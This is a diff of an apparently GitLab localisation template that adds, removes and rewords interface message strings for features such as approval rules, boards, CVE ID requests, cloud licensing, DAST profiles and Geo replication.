+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
